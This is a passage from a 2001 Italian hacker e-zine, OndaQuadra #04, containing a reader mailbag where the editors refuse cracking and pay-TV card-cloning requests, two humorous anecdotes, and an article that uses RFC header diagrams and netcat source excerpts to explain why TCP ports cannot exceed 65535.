| |
| di un file musicale, d'immagine, etc... Qual'è il principio, cosa si va a |
| comprimere ? Come ? Ciò riguarda anche il .zip ? Se i codici di |
| "trasduzione" sono già belli e pronti, dove è possibile reperirli ? Potete |
| fornirmeli voi, possibilmente con relativa spiegazione ? Lo so che sto |
| chiedendo tanto e troppo, ma domandare non mi costa niente, l'alternativa |
| sarebbe rimanere nell'ignoranza. Spero in un vostro aiuto. |
| Vi ringrazio per l'attenzione e per tutto ciò che state facendo. Alla |
| prossima... |
| |
| [R] |
| In effetti la richiesta e' un po' impegnativa ! Posso indicarti un sito |
| dove reperire un sacco di codice sorgente: www.planetsourcecode.com. |
| Un altro sito interessante e' www.programmazione.it. |
| Gli altri argomenti ai quali hai accennato potrebbero essere trattati in |
| futuro |
| su OQ: basta che qualche volontario li scriva: cosi' funziona OQ... |
| |
+----> |
| |
| Date Sat, 06 Oct 2001 11:44:25 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From "Boss74" <gigillo@...> |
| Subject Come Cav si fa per...... |
| |
| [D] |
| Avrei la necessità di craccare un traduttore che si installa sotto |
| word e che è molto bello. |
| ho provato a smanettarci un po con disassembler ed hex editor ma non |
| sono riuscito nell'opera. Il software si trova a |
| http://www2.systems.it/download/traduttore/tvntradu.zip |
| Potreste aiutarmi? |
| Vi ringrazio... |
| Siete fortissimi... |
| |
| [R] |
| No, non possiamo aiutarti. |
| |
+----> |
| |
| Date Wed, 26 Sep 2001 22:26:14 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From "Antonio ..." <pplntn@...> |
| Subject tele+ |
| |
| [D] |
| vorrei sapere dove posso trovare una guida completa per la clonazione di = |
| schede di tele+ o stream. |
| SPero possiate essermi di aiuto.... |
| Grazie. |
| |
| [R] |
| No, non possiamo esserti d'aiuto. |
| |
+----> |
| |
| Date 24 Sep 2001 23:32:57 -0000 |
| To mail@ondaquadra.cjb.net |
| From marmen@... |
| Subject Salve ragazzi |
| |
| [D] |
| Salve ragazzi, premetto che sono un vostro lettore, mi piacete molto |
| e credo che facciate parte di quei poki che in italia ha ben chiaro |
| in mente il significato di hacker e quindi di libertà. |
| Vi vorrei proporre un progetto: |
| creare un sito semplice, molto semplice, dove si spieghi una volta |
| per tutte il vero significato di hacker, per differenziarci definitivamente |
| dai cracker o dai lamer... |
| per dare la giusta importanza e risonanza alle nostre idee SENZA INCITARE |
| NESSUNO ma farci apprezzare per quello che siamo: semplici curiosi |
| cybernauti :) |
| dobbiamo unirci perchè siamo rimasti veramente in pochi... |
| vi prego di rispondermi, anke se la risposta dovesse essere negativa... |
| P.S. il nome del sito... hackers.it ovviamente :) |
| P.P.S. HACK THE PLANET |
| |
| [R] |
| Sinceramente non avvertiamo la necessita' di aprire un sito di nome |
| "hackers.it" che spieghi il vero significato dell'hacking... |
| |
+-------------------------------------------------------------------------------+



+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| ME L'HA DETT0 MiO CUGGiN0 [tdi110cv] 0x04/0x23 |
+-------------------------------------------------------------------------------+
| |
| La seguente storiella con l'hacking o simili non ha nulla a che vedere , ma |
| |
| l'ho inserita proprio perchè come da ogni storiella si puo' trarne un |
| |
| insegnamento ... la presente l'ho trovata su una schifosissima mailing list |
| |
| e ve la passo RIPPATA (si stavolta ho rippato veramente) paro paro. |
| |
| Traetene le dovute conclusioni ... |
| |
| * * * |
| |
| Un professore di filosofia era in piedi davanti alla sua classe, prima |
| |
| della lezione,ed aveva davanti a sé alcuni oggetti.. |
| |
| Quando la lezione cominciò, senza proferire parola il professore prese un |
| |
| grosso vaso per la maionese, vuoto, e lo riempì con delle rocce di 5-6 |
| |
| cm di diametro. |
| |
| Quindi egli chiese agli studenti se il vaso fosse pieno, ed essi annuirono. |
| |
| Allora il professore prese una scatola di sassolini, e li versò nel vaso di |
| |
| maionese, scuotendolo appena. |
| |
| I sassolini, ovviamente, rotolarono negli spazi vuoti fra le rocce. |
| |
| Il professore quindi chiese ancora se il vaso ora fosse pieno, ed essi |
| |
| furono d'accordo. |
| |
| Gli studenti cominciarono a ridere, quando il professore prese una scatola |
| |
| di sabbia e la versò nel vaso. |
| |
| La sabbia riempì ogni spazio vuoto. |
| |
| "Ora" , disse il professore, "voglio che voi riconosciate che questa è la |
| |
| vostra vita. |
| |
| Le rocce sono le cose importanti - la famiglia, il partner, la salute, i |
| |
| figli - anche se ogni altra cosa dovesse mancare, e solo queste rimanere, |
| |
| la vostra vita sarebbe comunque piena. |
| |
| I sassolini sono le altre cose che contano, come il lavoro, la casa, |
| |
| l'auto. |
| |
| La sabbia rappresenta qualsiasi altra cosa, le piccole cose. |
| |
| Se voi riempite il vaso prima con la sabbia, non ci sarà più spazio per |
| |
| rocce e sassolini. |
| |
| Lo stesso è per la vostra vita; se voi spendete tutto il vostro tempo ed |
| |
| energie per le piccole cose,non avrete mai spazio per le cose veramente |
| |
| importanti. |
| |
| Stabilite le vostre priorità, il resto è solo sabbia". |
| |
| Dopo queste parole........ |
| |
| Uno studente si alzò e prese il vaso contenente rocce, sassolini e sabbia, |
| |
| che tutti consideravano pieno, e cominciò a versagli dentro un bicchiere |
| |
| di birra. |
| |
| Ovviamente la birra si infilò nei rimanenti spazi vuoti, e riempì veramente |
| |
| il vaso fino all'orlo. |
| |
| La morale di questa storia è: |
| |
| non importa quanto piena è la vostra vita, c'è sempre spazio per una BIRRA! |
| |
| * * * |
| |
| Direi che la cosa non ha bisgono di commenti ... |
| |
| Sincerely TDI110CV ... |
| |
+-------------------------------------------------------------------------------+
| E Voi ... affidatevi a Telecoz Italia ... |
+-------------------------------------------------------------------------------+
| |
| Nel presente articolo non troverete nulla di sovversivo e nessuna tecnica. |
| L'unica cosa che troverete sara' la narrazione di un colloquio telefonico |
| avvenuto con un paio di omini telecoz. |
| Dovete pensare infatti che in Italia quasi tutto cio che rientra nel campo |
| delle telecomunicazioni e' gestito dalla nostra beneamata telecoz Italia. |
| Un pomeriggio , mentre mi trovavo in ufficio , ho reclamato alla caxxo in |
| oggetto il fatto che una linea dedicata , che connette i nostri terminali |
| ad un host remoto , non funzionava affatto bene. |
| Spesso ci capitavano interruzioni inspiegabili e rallentamenti a dire poco |
| Tartarughiani. |
| La telecoz mi risponde che avrebbe controllato e che eventualmente avrebbe |
| fatto uscire un Tecnico a far controllare lo SNA e il modem in questione. |
| Sentite tali parole mi son caduti circa 3.000 capelli. |
| Ho pensato subito che non poteva altro che finire peggio di come la |
| situazione |
| era attualmente. |
| Infatti ... Vabbè ora vi scrivo per filo e per segno la telefonata |
| successiva |
| perchè sto ancora ridendo. Ovviamente non potro' fare nomi , ma cerchero' |
| di spiegarmi al meglio. (dialetto Rulez) |
| |
| telecoz - A bongiorno , chi se la telecoz Venessia , con ci parlo ? |
| Tdi - Ehm ... bongiorno io sono il Sign. TDI , mi dica pure ... |
| telecoz - Alura Sign. TDI mi gho manda' un Tennico in Via XXX alla ditta |
| YYY per dei problemi de linea. |
| Tdi - Si perfetto la via e' quella e la ditta pure , quindi ? |
| telecoz - Ecco ehmm ... pero' ghe se un problema ostia |
| Tdi - Scusi che problema ? |
| telecoz - E insomma el Tennico le proprio nella via XXX ma in via XXX non |
| ghe |
| se niente. |
| Tdi - Cosa ? Guardi in quella via ci son circa 10.000 persone che lavorano. |
| telecoz - E no ... a mi el Tennico me gha ditto che non ghe se n'ostrega. |
| Tdi - Ehm ... guardi ci deve essere un errore perchè in quella Via ci |
| saranno |
| almeno 10 aziende enormi. |
| |
| (Ora mi e' venuto il dubbio che si trovasse in un altra citta' , ma la |
| possibilita' era molto remota dal momento che in Italia non ci devono |
| essere |
| piu' attivita' con lo stesso nome no ?!) |
| |
| Tdi - Scusi ma e' sicuro che la via sia XXX e la ditta YYY di ZZZ ? |
| telecoz - E insoma acchi' non semo mia imbecili ah ?! |
| |
| (La risposta sorge spontanea) |
| |
| telecoz - Alura Sior. Tdi el speta n'attimo che sento el Tennico |
| |
| (Dopo 2 minuti abbondanti di attesa l'omino telecoz torna alla riscossa) |
| |
| telecoz - Alura TDI el problema le' n'altro , el tecnico el se trova in via |
| XXX (notare che il pirla cita solo la via) , ma nol trova mia |
| la linea. |
| |
| (Citandomi solo la via cosa vado a pensare ? Vado a pensare che questo si |
| trova nella via interessata in mezzo alla strada , e che sta cercando il |
| suo amato gabbiottino delle derivazioni no ?! e inve

  
ce ...) |
| |
| Tdi - Come non trova la linea ? Che tipo di linea cerca ? |
| telecoz - E insoma se la linea quella fata con i fili che fan pasare |
| le informasioni no ?! |
| Tdi - Insomma onestamente ho una vaga idea di cosa sia una linea , ma non |
| capisco cosa stia cercando in mezzo alla strada ... |
| telecoz - ehm ... no no Sior TDI , non se semo mia capiti. Anzi me sa tanto |
| che non ho capio n'ostia gnanca mi. El staga in linea che sento |
| ancora el Tennico. |
| |
| (ora uno che mi da una definizione simile di una linea telematica lo |
| prenderei e lo manderei a zappare la terra , e poi che caxxo mi rompi le |
| palle se neanche tu hai idea di dove sia e cosa stia cercando il 'TENNICO') |
| |
| telecoz - Sior TDI le pasarea n'atimo el Tennico parchè non capiso sa sta |
| sucedendo. |
| Tdi - E vabbè passame sto caxxo de Tennico. |
| |
| (chissa che almeno il secondo tennico sia un pochino piu' sveglio no ?! |
| Insomma la speranza e' l'ultima a morire no ? E ancora una volta incece |
| ...) |
| |
| telecoz2 - A bongiorno Sior. TDI |
| Tdi(incazz) - Ehm buongiorno mi dica qual'è il problema ? |
| telecoz2 - Alura el problema se che chi in via XXX non ghe se la linea. |
| Tdi(incazz) - Scusi come non ce linea ? |
| telecoz2 - Ma si dai la linea , insomma el macchinino dove ghe se mete la |
| spina del telefono no ?! |
| Tdi - Insomma il modem ?! |
| telecoz - Eh brao proprio il modem , salo quel che se usa anca par INTERNET |
| ? |
| Tdi - Si , piu' o meno , diciamo che ho una vaga idea di cosa sia un modem. |
| Ma scusi se lei si trova in via XXX il modem dove spera di trovarlo ? |
| telecoz2 - Ma no , mi son in via XXX ma sono rento la dita YYY di via XXX. |
| Tdi - A ma allora si trova gia in ditta , e ditelo no ?! Ma scusi dove si |
| trova ora ? |
| telecoz2 - Be Sior TDI , mi ora son in una stasetta dove arivano tuti i fili |
| salo quel posto dove ghe tanti computer uno sopra l'altro e |
| colegadi tutti con i fili... ehm insoma ... |
| |
| (Ossignur ... stai a vedere che questo si trova in sala macchine) |
| |
| Tdi - Caxxo ma allora lei si trova in sala macchine no ?! |
| telecoz2 - Eco si ! La se ciama proprio sala macchine. |
| |
| (Ora io mi chiedo come cazzo sia entrato in sala macchine dal momento che |
| la chiave elettronica della suddetta l'ha solo il responsabile dei |
| sistemisti.) |
| |
| Tdi - Scusi ma ora in sala macchine che cerca ? |
| telecoz2 - Be mi cerco proprio el modem , ma nol trovo mia OSTIA @!*§# |
| Tdi - Guardi il modem si trova in quell'armadio (TRASPARENTE) insieme a |
| tutti |
| gli altri. (saranno una cinquantina) |
| Pero' e' meglio se parla con la persona XXXXXXXXX |
| telecoz2 - An si ? Alora sicome acchi' ghe se un so colega sento lu se me sa |
| dir dove poter rintraciare sto XXXXXXXXX |
| Tdi - Senta pure cosi' poi io torno alle mie faccende no ?! |
| |
| (sento le 2 voci che si parlano e dicono ...) |
| |
| telecoz2 - Scusi i me gha ditto de parlar con un certo XXXXXXXXX salo dove |
| poso trovarlo ? |
| XXXXXXXX - GUARDI CHE IL SIGNORE CHE CERCA ... SONO IO ... |
| |
| A questo punto ho sbattuto giu il telefono perchè la cosa oltre a sembrare |
| una presa per il culo mi aveva portato via anche 20 minuti. |
| Ma adesso come adesso sto ridendo ancora. |
| Ora secondo Voi se avessi chiesto di montare un Router ... che cazzo |
| combinavano ? |
| Approposito ... la linea e' come prima se non peggio ... |
| Termino con la tipica espressione del cazzo di 102.5 ... Viva l'Italia ... |
| |
| Ciao a tutti il Vostro TDI110CV ___________ |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| P0RTE, MA QUANTE S0N0? [TheMRcode] 0x05/0x23 |
+-------------------------------------------------------------------------------+
| |
|Eccomi qua, mentre mi sorbo lentamente un vasetto di yoghurt ai frutti di |
|boscaglia, per fare un appunto su "METTiAM0 NETCAT NELL'0MBRA", un articolo |
|apparso su #oq02, scritto da Tdi110cv. |
|Ora, precisando che non è mia intenzione ne offendere, ne sputtanare TDI |
|davanti a tutti, ma solo fare un "Errata Corrige" dell' articolo.Già, perchè le|
|informazioni date nel suddetto sono errate, Perchè ? Vediamolo insieme ! Come |
|ben sapete, Internet (e le reti in generale, e anche la vita) si basa su dei |
|protocolli. Il più conosciuto è sicuramente l'IP (non il benzinaio, ma Internet|
|Protocol :). Esso ha una struttura molto semplice, e fornisce solamente un |
|servizio, diciamo "di supporto" per altri protocolli (TCP,UDP,ICMP,..).Vediamo |
|insieme la struttura del IP (tratta dal RFC 791): |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |Version| IHL |Type of Service| Total Length | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Identification |Flags| Fragment Offset | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Time to Live | Protocol | Header Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Destination Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
|Come vedete è suddiviso in campi di bit (non byte, attenzione) di lunghezza |
|variabile. Come potete notare, non è presente il campo che specifica la porta a|
|cui mandare il pacchetto. Molti potranno dire: "e Type of Services allora cos'è|
|?"
. Rispondo prendendo direttamente la descrizione dall'RFC: |
| |
|[----------- SNIP -----------] |
| |
|Type of Service: 8 bits |
| |
| The Type of Service provides an indication of the abstract |
| parameters of the quality of service desired. These parameters are |
| to be used to guide the selection of the actual service parameters |
| when transmitting a datagram through a particular network. Several |
| networks offer service precedence, which somehow treats high |
| precedence traffic as more important than other traffic (generally |
| by accepting only traffic above a certain precedence at time of high |
| load). The major choice is a three way tradeoff between low-delay, |
| high-reliability, and high-throughput. |
| |
| Bits 0-2: Precedence. |
| Bit 3: 0 = Normal Delay, 1 = Low Delay. |
| Bits 4: 0 = Normal Throughput, 1 = High Throughput. |
| Bits 5: 0 = Normal Relibility, 1 = High Relibility. |
| Bit 6-7: Reserved for Future Use. |
| |
| 0 1 2 3 4 5 6 7 |
| +-----+-----+-----+-----+-----+-----+-----+-----+ |
| | | | | | | | |
| | PRECEDENCE | D | T | R | 0 | 0 | |
| | | | | | | | |
| +-----+-----+-----+-----+-----+-----+-----+-----+ |
| |
| Precedence |
| |
| 111 - Network Control |
| 110 - Internetwork Control |
| 101 - CRITIC/ECP |
| 100 - Flash Override |
| 011 - Flash |
| 010 - Immediate |
| 001 - Priority |
| 000 - Routine |
| |
| The use of the Delay, Throughput, and Reliability indications may |
| increase the cost (in some sense) of the service. In many networks |
| better performance for one of these parameters is coupled with worse |
| performance on another. Except for very unusual cases at most two |
| of these three indications should be set. |
| |
| The type of service is used to specify the treatment of the datagram |
| during its transmission through the internet system. Example |
| mappings of the internet type of service to the actual service |
| provided on networks such as AUTODIN II, ARPANET, SATNET, and PRNET |
| is given in "Service Mappings" [8]. |
| |
| The Network Control precedence designation is intended to be used |
| within a network only. The actual use and control of that |
| designation is up to each network. The Internetwork Control |
| designation is intended for use by gateway control originators only. |
| If the actual use of these precedence designations is of concern to |
| a particular network, it is the responsibility of that network to |
| control the access to, and use of, those precedence designations. |
| |
|[----------- SNIP -----------] |
| |
|Non capite l'inglese ? Beh, io nemmeno tanto :) |
|Comunque, il campo ToS si occupa diciamo di dare una certa priorità del |
|pacchetto sugli altri. Un vantaggio potrebbe essere quello di mandare un |
|pacchetto SYN con priorità più alta rispetto agli altri, cosi da velocizzare il|
|collegamento, ad esempio, con un server Web (cosa che viene fatta). In parole |
|povere, non è quel di cui dobbiamo parlare :) |
| |
|Per trovare quello che vogliamo (il campo dove viene immagazzinata la porta a |
|cui connettersi), dobbiamo cercare in un'altro header. Il TCP ad esempio ! |
|L'acronimo TCP sta per Tansmission Control Protocol. Infatti viene utilizzato |
|come base per HTTP, FTP; POP3, SMTP, e molti altri. La particolarita del TCP è |
|che offre un controllo dei pacchetti, cosa che l'IP non fa. Esempio: devo |
|mandare 30 byte di dati a un server. Il socket, per evitare di rallentare il pc|
|(o la rete), cosa fa ? Esegue il frammenting, cioè spezzetta i dati da mandare |
|in più pacchetti. Cosi ottieniamo 3 (per non dire 2 o 10) pacchetti,dove ognuno|
|contiene 10 byte di dati. Poi uno ad uno vengono spediti al destinatario. Ma si|
|sa, la rete non è molto affidabile, e a volte i router hanno picchi di lavoro, |
|che possono causare inconvenienti, del tipo i pacchetti non seguono tutti la |
|stessa "strada", ma passano per router diversi per arrivare a destinazione. Cio|
|puo comportare il fatto che i pacchetti non arrivino in ordine, ma mischiati |
|(3-1-2 ad esempio). Qui interviene il TCP, che si occupa di mettere in ordine i|
|pacchetti, e farli arrivare belli e sani come al principio. Ma se un paccheto |
|dovesse perdersi (capita spesso) ?? Anche qui il TCP interviene, segnalando al |
|mittente che manca uno o più pacchetti, per poi rispedirli. La segnalazione,che|
|è di tipo passivo, avviene mandando un pacchetto di ricevuta per ogni pacchetto|
|arrivato. Come la posta raccomandata, se non vi arriva la conferma,rimandate la|
|lettera. Beh, ho parlato fin troppo teoricamente. Vediamoci l'header (tratto la|
|RFC 793): |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Port | Destination Port | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Sequence Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Acknowledgment Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Data | |U|A|P|R|S|F| | |
| | Offset| Reserved |R|C|S|S|Y|I| Window | |
| | | |G|K|H|T|N|N| | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Checksum | Urgent Pointer | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
|PS: Pure qui tutti bit, non byte |
| |
|Come vedete, è molto più complicato di quello dell'IP (no, non il benzinaio, |
|uffa !! ;) |
|Ma cosa vedo subito in cima ? Source and Destination Port !! Eccoli qua !!! |
|Finalmente ! |
| |
|[----------- DISGRESSIONE -----------] |
| |
|Forse non vi è ben chiaro cosa sia il source port ? Io avevo dei dubbi su cio |
|fino a 5 mesi fa, percui, ve lo spiego, cosi taglio la testa la toro anche per |
|voi :) (e poi non ha mai fatto male a nessuno un po di spiegazioni) |
| |
|Il TCP funziona un po come una comunicazione fra le solite 2 condominiali |
|pettegole, che si scambiano "vitali" informazioni su ogni cosa che le circonda.|
| |
|(A)- "Ma lo sai che quella del 4' piano ha comprato una scatola da 25 di |
|preserativi Duron, quelli ritardati ??"
|
|(B)- "Ohh ,allora si vede che fa le corna con il portiere, quel gran pezzo di |
|gnocco !"
|
|(A)- "Eggia !! me lo vorrei fare io quell li, e senza Duron !!!" |
|(B)- "Ehhh, ma quello li ha tutte le gnocche davanti, vuoi che pensi a noi 2 di|
|60 anni ?"
|
| |
|Vabbe, questi sono esempi, poi gli argomenti variano :P |
| |
|vicina(A) -> finestra(A) -> finestra(B) -> vicina(B) |
|vicina(B) -> finestra(B) -> finestra(A) -> vicina(A) |
| |
|vicina(A) == client |
|finestra(A) == source port |
|finestra(B) == destination port |
|vicina(B) == server |
| |
|E viceversa. |
| |
|Tornando al mondo dei PC, facciamo un esempio (tecnico questa volta) |
|schematizzato: |
| |
|mIRC --> 127.0.0.1:1432 --> 123.456.789:6667 --> Bahamuh |
|Bahamut --> 123.456.789:6667 --> 127.0.0.1:1432 --> mIRC |
| |
|PS: gli IP sono inventati (eddai, a memoria mica me li ricordo, su :) |
|PS2: Bahamut è il nuovo ircD che verrà montato sulle reti di AzzurraNet |
|(irc.azzurranet.org) |
|PS3: Se usare kVirc, ircII, xCHAT, bitchX, dIRC, pIRC, ecc ecc, la cosa vale lo|
|stesso |
| |
|Insomma, dovrebbe esservi chiaro. Ogni volta che voi vi volete connettere a una|
|porta remota, dovete per forza aprire una porta locale, senno da dove escono i |
|dati ? Spero abbiate capito :) |
| |
|[----------- DIGRESSIONE -----------] |
| |
|Pausa cena............rieccomi ! |
| |
|Ritornando al tema principale, avrete notato che i campi Source e Destination |
|Port (d'ora in avanti, SP e DP) sono formati da una serie di 16 bit l'uno. Non |
|sapete cosa sono i bit ?? No, dai ! Non fatemi fare un'altra disgressione :) |
|In parole povere, i bit sono la minima unità (anzi, l'unica, visto che i byte e|
|multipli sono solo insiemi di bit) di dati che un computer puo gestire. Per |
|approfondimenti, leggetevi i tutorial sull'assembler di Emanuele Del Bono su |
|www.programmazione.it.Ritornando a noi.. percui ogni porta può essere codata in|
|un massimo di 16 bit. Facciamo un po di conti: |
| |
|16 bit == 2 byte == 1 word |
|E qual'è il valore massimo assumibile da 1 word,nei vari sistemi di numerazione|
|? |
| |
| +----------------------------------------------------+ |
| | Binario | Esadecimale | Ottale | Decimale | |
| | -----------------|-------------|--------|----------| |
| | 1111111111111111 | FFFF | 177777 | 65535 | |
| +----------------------------------------------------+ |
| |
|Mi pare più che esplicativo. Tecnicamente è IMPOSSIBILE andare oltre la porta |
|65535. |
|Ma come mai TDI ha commesso un così grave errore ? E' presto spiegato. Lui ha |
|utilizzato come cavia di prova il NetCat, ed esso ha un particolare modo per |
|gestire le porte. Se voi scrivete "nc -l -p 99999999999" lui effetivamente si |
|mette in ascolto. |
| |
|;D:\MyFile\Netcat 1.1>nc -l -p 999999999 |
|; |
| |
|Essì, si mette in ascolto. Proviamo con un'altro NetCat a connetterci: |
| |
|;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 |
|; |
| |
|Essì, si connette ! E comunica anche ! Ma come è possibile allora ? Come fa a |
|gestire un SP e DP oltre i 16 bit ?? E' presto spiegato il trucco ! Provate a |
|usare il Very Verbose Mode del NetCat (flag -vv): |
| |
|;D:\MyFile\Netcat 1.1>nc -l -p 999999999 -vv |
|;listening on [any] 51711 ... |
|; |
| |
|;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 -vv |
|;127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA |
|;(UNKNOWN) [127.0.0.1] 51711 (?) open |
|; |
| |
|Magia !! la porta 999999999 non c'è più ! E' venuta invece la 51711 !! Come mai|
|?? Qui lascio la parola a MrCode. E' lui che si è masochistizzato con i |
|sorgenti del NetCat :) |
| |
|Okkei, ormai mi ci hai tirato dentro e non posso fare altrimenti, ma prima di |
|tutto premetto una cosa: come già detto dal mio TheMr preferito (speriamo ce ne|
|sia uno solo...non oso pensare...brrrr ;) questo non vuole essere un qualcosa |
|per dare in testa a TDI110cv, che comunque stimo molto e reputo una persona in |
|gamba e competente, e' invece un pretesto per parlare in maniera semplice e |
|discorsiva di cosa combina al suo interno il nostro beneamato netcat.....ohhhh,|
|detto questo parto davvero :)) |
|Dietro alla discussione nata sul campo "porta" a 16bit, la curiosità mi ha |
|portato a spulciare i sorgenti del netcat, per vedere cosa mai combinasse con |
|quel valore passato in argomento dopo lo switch "-p", ecco cosa ne ho tirato |
|fuori: |
| |
|[snip] |
| |
| case 'p': /* local source port */ |
| o_lport = getportpoop (optarg, 0); |
| if (o_lport == 0) |
| bail ("invalid local port %s", optarg); |
| break; |
| |
|[snip] |
| |
|ecco il pezzo di codice dove il NC controlla l'argomento passato sulla linea |
|di comando come numero di porta, la funzione bail() stampa il messaggio di |
|errore solo nel caso in cui la getportpoop() restituisca 0, quindi steppiamo |
|(sice rulez hihihi) ancora e andiamo a vedere cosa fa di bello 'sta benedetta |
|funzione...prima pero' una curiosita, fammi un po vedere come e' dichiarata la |
|variabile o_lport....USHORT, bene sono proprio 16bit, come ci aspettavamo (per |
|dipiu' unsigned!...getportpoop() a noi due!) :P |
| |
|[snip] |
| |
|/* getportpoop : |
| Same general idea as gethostpoop -- look up a port in /etc/services, fill |
| in global port_poop, but return the actual port *number*. Pass ONE of: |
| pstring to resolve stuff like "23" or "exec"; |
| pnum to reverse-resolve something that's already a number. |
| If o_nflag is on, fill in what we can but skip the getservby??? stuff. |
| Might as well have consistent behavior here, and it *is* faster. */
|
|USHORT getportpoop (pstring, pnum) |
| char * pstring; |
| unsigned int pnum; |
|{ |
| |
|[snip] |
| |
|la funzione in questione effettua il parsing degli argomenti passati, e ritorna|
|un USHORT come effettivo numero di porta. Passando un puntatore ad una stringa |
|(char *pstring)la funzione cerca di ricavare il numero di porta sia facendo una|
|ricerca di corrispondenza tra il nome del servizio e l'effetivo numero di porta|
|(trovate la descrizione delle corrispondenze nome servizio <-> numero porta |
|nell'articolo del mio caro ph0b0s su ondaquadra.n°01 - PORTE TCP/UDP). Passando|
|un numero (int *pnum) la funzione cerca di verificarne l'esattezza. Poichè come|
|si vede dal precedente snip di codice la funzione e' invocato col passaggio |
|della stringa, si puo' scrivere dopo il "-p" qualsiasi cosa, tipo "-23", |
|"ftpippa", "themrbellissimo" o altre amenita' simili...ma guardiamo allora come|
|viene trattata la stringa? e il numero che ne esce fuori? come lo |
|ricava?..badiamo un po..... |
| |
|[snip] |
| |
|/* case 2: resolve a string, but we still give preference to numbers instead |
| of trying to resolve conflicts. None of the entries in *my* extensive |
| /etc/services begins with a digit, so this should "always work" unless |
| you're at 3com and have some company-internal services defined... */
|
| if (pstring) { |
| if (pnum) /* one or the other, pleeze */ |
| return (0); /* o l'uno o l'altro! :P */ |
| x = atoi (pstring); /* <--- ecco chi converte la stringa in|
|numero!! */
|
| if (x) |
| return (getportpoop (NULL, x)); /* recurse for numeric-string-arg */ |
| if (o_nflag) /* can't use names! */ |
| return (0); |
| servent = getservbyname (pstring, whichp); /* <- qui invece cerca la |
|corrispondenza */
|
| if (servent) { /* tra nome servizio e numero |
|porta */
|
| strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); |
| x = ntohs (servent->s_port); |
| goto gp_finish; |
| } /* if servent */ |
| } /* if pstring */ |
| |
|[snip] |
| |
|ecco qua, questo e' il caso in cui pstring deve essere spulciato, e come lo |
|fa?..tramite un banalissimo atoi() e richiamando ricorsivamente la funzione col|
|numero restituito dalla atoi()...non mi piacciono le funzioni ricorsive, |
|ciucciano memoria sullo stack, vanno in overflow, le fanno nere!! eppoi il mio |
|proffe all'uni non le voleva nemmeno sentir nominare!! si potrebbe cambiare e |
|fare una versione non ricorsiva,del resto si tratta solo di 'parsare' un numero|
|e una stringa! :P |
|Bene, alla seconda chiamata,capitiamo nel caso in cui si passa alla funzione un|
|int...guardiamo un po... |
| |
|[snip] |
| |
|if (pnum) { |
| if (pstring) /* one or the other, pleeze */ |
| return (0); |
| x = pnum; |
| if (o_nflag) /* go faster, skip getservbyblah */ |
| goto gp_finish; |
| y = htons (x); /* gotta do this -- see Fig.1 below */ |
| servent = getservbyport (y, whichp); |
| if (servent) { |
| y = ntohs (servent->s_port); |
| if (x != y) /* "never happen" */ |
| holler ("Warning: port-bynum mismatch, %d != %d", x, y); |
| strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); |
| } /* if servent */ |
| goto gp_finish; |
| } /* if pnum */ |
| |
|[snip] |
| |
|dopo aver fatto atoi() sulla stringa, la funzione effettua htons() (hex to |
|network number) sul numero ricavato e tenta di trovare il corrispondente |
|servizio con la getservbyport(). |
|La funzione finisce con un bel "goto" (che vergogna, io li odio i goto in C!! |
|Penso che non li sopportino nemmeno Kernighan e Ritchie.... :PP) guardiamo dove|
|ci porta......ovvero due righe piu' giu', dopo un return(0) messo per non farsi|
|rompere le scatole dal compilatore: |
| |
|[snip] |
| |
|gp_finish: |
|/* Fall here whether or not we have a valid servent at this point, with |
| x containing our [host-order and therefore useful, dammit] port number */
|
| |
|/* TRADUCO: la funzione cade qui, che abbia trovato un numero di porta valido |
|oppure no, con x che contiene il nostro [host-order e speriamo utile, |
|dannazione] numero di porta */
|
